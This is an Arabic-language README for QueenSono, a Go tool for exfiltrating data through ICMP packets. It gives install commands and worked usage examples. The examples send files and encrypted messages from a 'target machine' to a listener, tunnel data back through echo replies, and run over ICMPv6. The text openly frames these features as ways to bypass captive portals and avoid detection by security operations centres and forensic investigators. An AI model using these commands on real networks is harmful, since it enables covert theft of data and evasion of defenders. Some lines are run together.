
ثنائي Golang لاستخراج البيانات باستخدام بروتوكول ICMP (+ ICMP bindshell, http عبر نفق ICMP, ...)
تعتمد أداة QueenSono فقط على حقيقة أن بروتوكول ICMP ليس مراقبًا. فهو شائع جدًا. يمكن استخدامها أيضًا داخل نظام يحتوي على فحص أساسي لـ ICMP (مثل مراقبة التردد وطول المحتوى) أو لتجاوز خطوة المصادقة مع البوابة المقيدة (المستخدمة في العديد من شبكات Wi-Fi العامة لمصادقة المستخدمين بعد الاتصال بشبكة Wi-Fi، مثل Wi-Fi المطارات). نحاول محاكاة PyExfil (وغيرها) مع فكرة أن الجهاز الهدف ليس بالضرورة مثبتًا عليه بايثون (لذا فإن توفير ملف ثنائي قد يكون مفيدًا)
تثبيتها
·
استخدامها
·
ملاحظات
·
طلب ميزة
·
🎁
curl> من الإصدارات
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> عبر go install
تأكد من وجود $GOPATH في $PATH قبل ذلك
تثبيت qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # إعادة تسمية الملف الثنائي
تثبيت qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # إعادة تسمية الملف الثنائي
> تثبيت الملف الثنائي من المصدر
استنساخ المستودع وتنزيل التبعيات محليًا:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
لبناء مرسل حزمة ICMP qssender :
build.queensono-sender
لبناء مستقبل حزمة ICMP qsreceiver :
build.queensono-receiver
qssender هو الملف الثنائي الذي سيرسل حزمة ICMP إلى المستمع، لذا فهو الملف الثنائي الذي يجب نقله إلى الجهاز الهدف.
qsreceiver هو المستمع على جهازك المحلي (أو أينما يمكنك استقبال حزمة ICMP).
يمكن العثور على جميع الأوامر والعلامات الخاصة بالملفات الثنائية باستخدام --help
> في هذا المثال نريد إرسال ملف كبير ومراقبة رد الصدى لتأكيد استلام الحزم (ACK).

على الجهاز المحلي:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 الاستماع على جميع الواجهات لحزم ICMP
-f received_bible.txt حفظ البيانات المستقبلة في ملف
-p إظهار شريط تقدم للبيانات المستقبلة على الجهاز الهدف:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # تحميل ملف كبير (للمثال)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file لإرسال ملف (bible.txt هو الملف المعني)
-d 2 إرسال حزمة كل 2 ثانية
-l 0.0.0.0 عنوان الاستماع لـ رد الصدى -r 10.0.0.92 عنوان الجهاز البعيد الذي يستمع عليه qsreceiver-s 50000 حجم البيانات التي أريد إرسالها في كل حزمة> في هذا المثال نريد إرسال رسالة دون انتظار رد الصدى (قد يكون مفيدًا في حال كان جدار الحماية الهدف يقوم بتصفية حزم ICMP الواردة)

على الجهاز المحلي:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 لا ينتظر إلى أجل غير مسمى إذا لم نستلم جميع الحزم. (1 هو التأخير المستخدم مع qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allعلى الجهاز الهدف:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N خيار عدم الرد (لا تنتظر رد الصدى)
> في هذا المثال نريد إرسال رسالة مشفرة. نظرًا لأن سطر الأوامر قد يكون مراقبًا، نستخدم تشفيرًا غير متماثل (إذا تسرب المفتاح، فلن يكون مشكلة)

على الجهاز المحلي:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt استخدام تبادل التشفير. سيقوم بإنشاء مفتاح عام/خاص. سيستخدم qssender المفتاح العام لتشفير البيانات، والمفتاح الخاص يستخدم لفك تشفيرها مع receiver
على الجهاز الهدف:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key توفير مفتاح لتشفير البيانات. استخدم المفتاح المقدم من أمر qsreceiver
يستخدم تشفير RSA للحفاظ على سرية البيانات المتبادلة. قد يكون مفيدًا مثلاً لتجنب رؤية مركز العمليات الأمنية (SoC) للبيانات المتبادلة (أو التحقيق الجنائي) من خلال تحليل أساسي أو ببساطة للخصوصية.
لكنه يأتي بتكلفة. اختيار التشفير غير المتماثل مدفوع بحقيقة أن مفتاح التشفير يُدخل في سطر الأوامر (وبالتالي يمكن استرجاعه بسهولة). لذلك، نقوم بتشفير البيانات بالمفتاح العام. بهذه الطريقة، إذا استعاد شخص ما مفتاح التشفير، فلن يكون من الممكن فك تشفير الرسالة. لكن المفتاح العام أصغر من الخاص، لذا فهو يشفر رسائل أصغر. أيضًا، إنه مكلف حسابيًا.
نقطة أخرى، نظرًا لأننا نريد الحد من حجم البيانات/طلبات ping (لتجنب الكشف، الأخطاء، إلخ)، استخدم التشفير فقط عند الضرورة لأن حجم المخرجات للرسالة سيساوي (يجب أن يساوي) دائمًا حجم المعامل (جزء من المفتاح) وهو كبير.
حاليًا، يتم تشفير الرسالة بأكملها ثم تقطيعها لإرسالها. على الجانب الآخر، ننتظر جميع الحزم (القطع)، ونعيد بناء رسالتنا ثم نفك تشفيرها. لكن هذا يعمل ⇔ إذا استلمنا جميع القطع، وإلا سيفشل فك التشفير.
=> يمكننا تشفير كل قطعة وفقًا لمعامل -s، بهذه الطريقة يمكننا فك تشفيرها بشكل منفصل.
> في هذا المثال، يرسل الجهاز المحلي البيانات عائدة إلى الهدف عبر ردود ICMP. مفيد عندما يكون ICMP الصادر من الهدف مصفى ولكن الهدف يمكنه استقبال ردود الصدى.
على الجهاز المحلي:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send ينتظر محفزًا من qssender، ثم يرسل البيانات عائدة كردود ICMP
-l 0.0.0.0 الاستماع على جميع الواجهات لحزمة المحفز
-d 1 تأخير ثانية واحدة بين كل حزمة ردعلى الجهاز الهدف:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive يرسل محفزًا إلى qsreceiver ويجمع البيانات من ردود ICMP الواردة
-l 0.0.0.0 عنوان الاستماع لردود ICMP الواردة
-r 10.0.0.92 عنوان الجهاز المحلي مع qsreceiver reply-send المنتظرتدعم QueenSono ICMPv6 بشكل شفاف. مرر عنوان IPv6 وسيتم الكشف عن البروتوكول تلقائيًا — لا حاجة لعلامات إضافية.
على الجهاز المحلي:
$ qsreceiver receive -l ::
على الجهاز الهدف:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: الاستماع على جميع واجهات IPv6
-r fe80::1 عنوان IPv6 للجهاز البعيد — يؤدي إلى تفعيل ICMPv6 تلقائيًا
جميع الأوضاع (إرسال مع ACK، إرسال بدون ACK، مشفر، رد الصدى) تعمل بنفس الطريقة عبر IPv6.
انظر قسم hack لأشياء ممتعة مع QueenSono:
cap_net_raw